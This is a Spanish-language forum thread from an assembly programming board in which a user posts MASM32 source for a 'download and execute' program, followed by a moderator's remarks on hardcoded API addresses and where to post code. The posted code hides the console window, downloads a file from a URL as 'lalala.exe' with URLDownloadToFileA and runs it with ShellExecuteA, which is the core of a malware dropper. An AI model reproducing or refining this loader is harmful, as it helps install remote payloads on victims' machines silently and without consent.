Programación General > ASM (Ensamblador)
Asm: Descarga Y Ejecucion
(1/1)
Rozor:
--- Código: Text --- ; Download and Execute by xZR !Sub_Level; masm32; WinXP ES SP2 .586p.MODEL FLAT, STDCALL include \masm32\include\kernel32.incincludelib \masm32\lib\kernel32.lib .DATA Consola db "ConsoleWindowClass",0 Direccion db "no me deja incluir link",0 Descarga db "lalala.exe",0 Orden db "open",0 UrlMon db "urlmon.dll",0 Shell db "shell32.dll",0 User db "user32.dll",0 Kernel db "kernel32.dll",0 .CODE Inicio: xor eax, eax push offset User call LoadLibrary xor ecx, ecx push ecx push offset Consola mov ebx, 7e3ade87h; FindWindowA call ebx xor ecx, ecx push ecx push eax mov ebx, 7e39d8a4h; ShowWindow call ebx xor eax, eax push offset UrlMon call LoadLibrary xor ecx, ecx push ecx push ecx push offset Descarga push offset Direccion push ecx mov ebx, 7df7b16fh ; URLDownloadToFileA call ebx push offset Shell call LoadLibrary xor ecx, ecx push ecx push ecx push ecx push offset Descarga push offset Orden push ecx mov ebx, 7ca50ec0h; ShellExecuteA call ebx xor eax, eax push offset Kernel call LoadLibrary xor ecx, ecx push ecx mov ebx, 7c81cddah; ExitProcess call ebx ret end Inicio
Eternal Idol:
Con solo publicar ese codigo, sin decir cual es tu duda o problema no se que respuesta esperas pero bueno ahi voy: usa GetProcAddress, no unas direcciones "hardcoded".
Y como siempre DEPURA el programa para averiguar hasta donde se ejecuta tal como desearias.
Rozor:
No habia duda, era un codigo muy legible y simplecito, para los interesados puedan leerlo, no hace nada dificil solo xor, mov, push, call y poco mas. Es facilito.
A nivel codigo quitando lo de las direcciones hardcoreadas, que las meto siempre cuando publico el source, asi hay que saber algo mas o menos de asm, me interesan que lo lean novatos no lamer. Que le cambiarias?.
Por que funcionar funciona claro, pero codigo en C mios de hace 6 meses los leo ahora y me hacen reir un poco. Con asm llevo muy poco tiempo y este digamos que es el primer code mio 100% por que lo roto lo he arreglado yo con debugger etc.... y lo he ensamblado y usado.
Gracias al foro y ati que n ove si me estas respondiendo post.
Eternal Idol:
--- Cita de: "Rozor" ---No habia duda, era un codigo muy legible y simplecito, para los interesados puedan leerlo, no hace nada dificil solo xor, mov, push, call y poco mas. Es facilito.
--- Fin de la cita ---
Ah, OK.
--- Cita de: "Rozor" ---A nivel codigo quitando lo de las direcciones hardcoreadas, que las meto siempre cuando publico el source, asi hay que saber algo mas o menos de asm, me interesan que lo lean novatos no lamer. Que le cambiarias?.
--- Fin de la cita ---
El punto es que esas direcciones se corresponden con las versiones de las DLLs que estan en TU maquina unicamente.
--- Cita de: "Rozor" ---Gracias al foro y ati que n ove si me estas respondiendo post.
--- Fin de la cita ---
De nada, pero si queres publicar codigo fuente hay una seccion especial dedica a eso, por eso pense que tenias algun problema como en el hilo anterior.
Codigo Fuente
Navegación
Ir a la versión completa